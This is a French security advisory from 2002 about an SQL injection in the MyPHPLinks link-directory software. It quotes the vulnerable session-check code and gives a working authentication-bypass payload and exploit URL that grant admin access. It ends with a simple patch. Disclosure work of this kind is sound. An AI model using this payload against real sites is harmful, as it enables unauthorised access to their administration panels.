MyPHPLinks
**********
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Website : http://www.myphpsoft.net
Versions : 2.1.9, 2.2.0 CVS
Problème : Injection SQL -> Accès admin
Developpement :
°°°°°°°°°°°°°°°
"MyPHPLinks est un annuaire de liens de type Yahoo, il dispose d'un système de cache, d'une section modérateur pour la
validation des liens ainsi que d'un système de Mailing List afin d'informer les surfeurs de l'arrivé de nouveaux liens.
L'outil d'administration simple, permet d'effectuer toutes les opérations possibles sur un lien ou une catégorie
(valider, supprimer, activer, désactiver, modifier...)
Il intègre aussi : un top click, un moteur de recherche (mots clés et description) et permet de mettre en place des
relations de catégorie."
Il existe une version .php et une version .php3 de MyPHPLinks. J'ai pris pour l'explication la version .php,
la seule difference étant de toute façon l'extension des fichiers.
La faille va nous permettre d'accèder à la partie administration. Dans les fichiers de cette partie (admin/gestion.php,
admin/index.php, admin/sendletter.php) on peut voir la ligne censée assurer sa sécurité :
----------------------------------
include('auth/checksession.php');
----------------------------------
Et dans le fichier admin/auth/checksession.php on peut voir les lignes :
-----------------------------------------------------------------------------------------------------------------------
[...]
if($idsession!=''){
$dbs = new data(0,$MyPHPLinksHote, $MyPHPLinksBase, $MyPHPLinksUser, $MyPHPLinksPass);
if(!$dbs->connect())
die($dbs->error);
if(!$dbs->query("select count(*) as nb from ".$MyPHPLinksTBAuth." where session='".$idsession."' and timesession > now()"))
die($dbs->error);
while($dbs->nextrecord()){
$loginauth = $dbs->valeur("nb");
}
if ($loginauth==0){
header("Location:$MyPHPLinksAuthPErrDef");exit;
}else{
if(!$dbs->query("UPDATE ".$MyPHPLinksTBAuth." set timesession=now()+".$MyPHPLinksTLSession." where session='".$idsession."'"))
die($dbs->error);
}
}else{
header("Location:$MyPHPLinksAuthPErrDef");exit;
}
?>
-----------------------------------------------------------------------------------------------------------------------
On peut voir qu'un administrateur est authentifié grâce à un idsession (généré dans admin/auth/login.php) enregistrée
dans la base de donnée.
On voit donc la requête SQL :
--------------------------------------------------------------------------------------------------------
select count(*) as nb from ".$MyPHPLinksTBAuth." where session='".$idsession."' and timesession > now()
--------------------------------------------------------------------------------------------------------
Si l'idsession est enregistré dans la DB, l'administrateur est loggé.
On va donc essayer d'inserer un idsession valide. Pour cela on va utiliser la structure de la requête SQL.
Rapellons que l'expression ''='', comme 1=1 ou 'a'='a' dans MySQL retourne toujours vrai.
Si on entre donc comme valeur à la variable $idsession :
' OR ''='
La requête deviendra :
----------------------------------------------------------------------------------------------
select count(*) as nb from $MyPHPLinksTBAuth where session='' OR ''='' and timesession > now()
----------------------------------------------------------------------------------------------
Ce qui retournera vrai.
L'url, par exemple, http://[target]/admin/gestion.php?idsession='%20OR%20''=', fera accèder nimporte qui
à la partie admin.
Patch :
°°°°°°°
Dans admin/auth/checksession.php, ajouter juste après
--------------------
if($idsession!=''){
--------------------
la ligne :
--------------------------------------
$idsession = addslashes($idsession);
--------------------------------------
Un patch est disponible sur http://www.phpsecure.org .
Credits :
°°°°°°°°°
Auteur : frog-m@n
Website : http://www.frog-man.org, http://www.phpsecure.org
E-mail : frog-man@frog-man.org
Date : 14/12/02
Copyright frog-m@n
http://www.phpsecure.info/v2/zone/pArticle